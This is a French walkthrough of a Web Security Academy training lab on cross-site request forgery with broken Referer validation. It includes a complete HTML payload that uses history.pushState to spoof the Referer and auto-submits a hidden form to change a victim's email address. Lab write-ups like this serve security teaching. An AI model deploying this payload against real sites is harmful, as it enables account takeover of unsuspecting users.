Web Security Academy

Cross-site request forgery - Lab : CSRF with broken Referer validation

Objectif :

  • Réussir à changer l'adresse email d'une personne inscrite dans le site.

Solution :

On lance le lab et on se trouve sur un blog :

On se connecte avec l'identifiant et le mot de passe d'un compte fourni dans l'énoncé ( carlos / montoya ) et l'onglet "Change email" apparaît :

On accède à cette section :

On essaye maintenant de changer l'adresse mail par "Alice@hotmail.fr" et d'observer la requête émise lorsqu'on clique sur "Update email" :

C'est une requête POST qui est construite avec un paramètre nommé "email" ayant comme valeur "Jean@hotmail.fr". Un en-tête "Referrer" est présent. Pour réussir notre CSRF, on va devoir contourner cette mesure.

Une solution consiste à inclure une balise <meta name="referrer" content="never"> dans le code HTML qui sera exécuté par le client. Cette balise va forcer le navigateur à enlever l'en-tête "Referrer" des requêtes envoyées. Mais cela ne fonctionne pas.

On va tester l'utilisation de la fonction Javascript history.pushState(). Elle va nous permettre, dans notre contexte, de modifier l'en-tête "Referrer" pour concaténer l'URL attendue par le serveur avec la valeur de base qui n'est pas la bonne. Si l'en-tête est mal examiné, la vérification sera contournée.

Dans le lab, une simulation d'envoi et d'exécution d'un payload sur une victime est implémentée. Il suffit de cliquer sur "Go to exploit serveur" et de simuler l'envoi d'une requête réponse vers une cible à partir duquel notre payload sera exécuté.

On accède à cette fonctionnalité et on simule l'exécution du code HTML suivant chez une victime :

<html>

<body>

<script>history.pushState("", "", "/?https://ac5d1f191fadf763800c067200320001.web-security-academy.net/email")</script>

<form action="https://ac5d1f191fadf763800c067200320001.web-security-academy.net/email/change-email" method="POST">

<input type="hidden" name="email" value="xxx@gmail.com" />

</form>

<script>

document.forms[0].submit();

</script>

</body>

</html>

On peut tester ce code sur nous-même et on observe que l'attaque s'est bien effectuée. Le nouveau en-tête "Referrer" est accepté. Le lab est désormais validé.